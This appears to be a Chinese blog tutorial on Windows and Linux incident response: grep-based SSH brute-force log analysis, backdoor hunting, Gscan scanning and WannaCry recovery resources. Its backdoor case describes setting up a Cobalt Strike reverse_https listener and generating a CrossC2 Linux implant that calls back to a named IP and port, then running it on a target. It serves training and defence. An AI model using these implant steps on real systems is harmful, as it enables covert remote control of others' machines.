应急响应-win&linux分析后门&勒索病毒&攻击

在这里插入图片描述

操作系统(windows,linux)应急响应:
1.常见危害:暴力破解,漏洞利用,流量攻击,木马控制(Webshell,PC 木马等),病毒感染(挖矿,蠕
虫,勒索等)2.常见分析:计算机账户,端口,进程,网络,启动,服务,任务,文件等安全问题

常见日志类别及存储:
Windows,Linux

补充资料:
https://xz.aliyun.com/t/485
https://www.secpulse.com/archives/114019.html
https://docs.microsoft.com/en-us/sysinternals/

病毒分析
PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
OTL:https://www.bleepingcomputer.com/download/otl/
SysInspector:http://download.eset.com.cn/download/detail/?product=sysinspector

病毒查杀
卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
大蜘蛛:http://free.drweb.ru/download+cureit+free
火绒安全软件:https://www.huorong.cn
360 杀毒:http://sd.360.cn/download_center.html

病毒动态
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html

在线病毒扫描网站
http://www.virscan.org //多引擎在线病毒扫描网
https://habo.qq.com //腾讯哈勃分析系统
https://virusscan.jotti.org //Jotti 恶意软件扫描系统
http://www.scanvir.com //计算机病毒、手机病毒、可疑文件分析

在这里插入图片描述

案例 1-攻击响应-暴力破解(RDP,SSH)-Win,Linux

Windows-LogFusion 载入查看:
事件归类,事件 ID,事件状态等,参考百度资料

Linux-grep 筛选:
1、统计了下日志,确认服务器遭受多少次暴力破解
grep -o "Failed password" /var/log/secure|uniq -c

2、输出登录爆破的第一行和最后一行,确认爆破时间范围:
grep "Failed password" /var/log/secure|head -1
grep "Failed password" /var/log/secure|tail -1

3、进一步定位有哪些 IP 在爆破?
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-
4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-
9]?)"|uniq -c | sort -nr

4、爆破用户名字典都有哪些?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -
nr

5、登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

windows下可以通过第三方工具LogFusion查看日志
在这里插入图片描述
对Windows服务器RDP远程桌面进行爆破

在这里插入图片描述

通过LogFusion查看当前日志可以发现,有一个用户在疯狂尝试对本地的RPD进行连接在这里插入图片描述
在这里插入图片描述
linux下攻击者对ssh端口进行爆破时

可以通过命令grep -o "Failed password" /var/log/secure|uniq -c
通过关键字对日志进行统计筛选,确认服务器遭到多少次爆破攻击
在这里插入图片描述

通过命令grep "Failed password" /var/log/secure|head -1
查看日志中第一次出现关键字Failed password的信息,确认攻击者第一次爆破的时间
在这里插入图片描述

通过命令grep "Failed password" /var/log/secure|tail -1
查看日志中第一次出现关键字Failed password的信息,确认攻击者最后一次爆破的时间
在这里插入图片描述

查看哪些ip尝试进行爆破
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0- 4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0- 9]?)"|uniq -c | sort -nr
在这里插入图片描述
查看攻击者尝试爆破的字典
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort - nr
在这里插入图片描述
通过对日志文件中关键字Accepted进行筛选,查看攻击者成功登陆的日期时间
在这里插入图片描述

案例 2-控制响应-后门木马(Webshell,PC)-Win,Linux

windows:默认配置测试

linux 借助 CrossC2 项目:netstat -ntulp
https://github.com/gloxec/CrossC2
https://github.com/darkr4y/geacon

参考过程:http://www.adminxe.com/1287.html

1.项目上传至服务端目录,给予执行权限
2.配置监听器:
windows/beacon_https/reverse_https 阿里云记得端口放行
3.生成后门:
./genCrossC2.Linux 47.99.49.65 5566 null null Linux x64 C2
通过网络监听工具及 windows 日志分析或执行记录查找后门问题

Windows

首先启动cs,连接上后设置一个监听器
在这里插入图片描述
生成后门
在这里插入图片描述
将后门绑定到刚才设置的监听器上
在这里插入图片描述
目标windows机执行后,cs处上线
在这里插入图片描述通过PCHunter64工具查看当前的进程,进行筛选分析
在这里插入图片描述
linux

下载cs的linux插件
在这里插入图片描述
将插件放到cs服务端的目录中,并赋予执行权限
在这里插入图片描述
服务端启动cs
在这里插入图片描述
本地端连接cs,并生成https监听器

在这里插入图片描述
重新打开一个cs服务端的终端窗口,进入cs目录
通过之前上传的genCrossC2.Linux插件生成名为C2的linux后门
此处ip与端口需要与本地cs监听器中设置的保持一致
在这里插入图片描述
将cs生成的后门C2上传到对方linux上,赋予执行权限并执行
在这里插入图片描述
本地端cs处看到回显,对方linux主机上线
在这里插入图片描述

案例 3-自动化响应检测-Gscan 多重功能脚本测试-Linux

首先通过yum -y install git安装git

通过git下载Gscan
在这里插入图片描述
下载完后进入Gscan目录,用python3去运行GScan.py文件
在这里插入图片描述

运行后Gscan会对当前电脑自动进行检测
在这里插入图片描述

案例 4-危害响应-病毒感染(勒索 WannaCry)-Windows

在这里插入图片描述https://lesuobingdu.360.cn/
https://www.nomoreransom.org/zh/index.html
可通过360在线网站对病毒修改的文件进行识别并还原

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值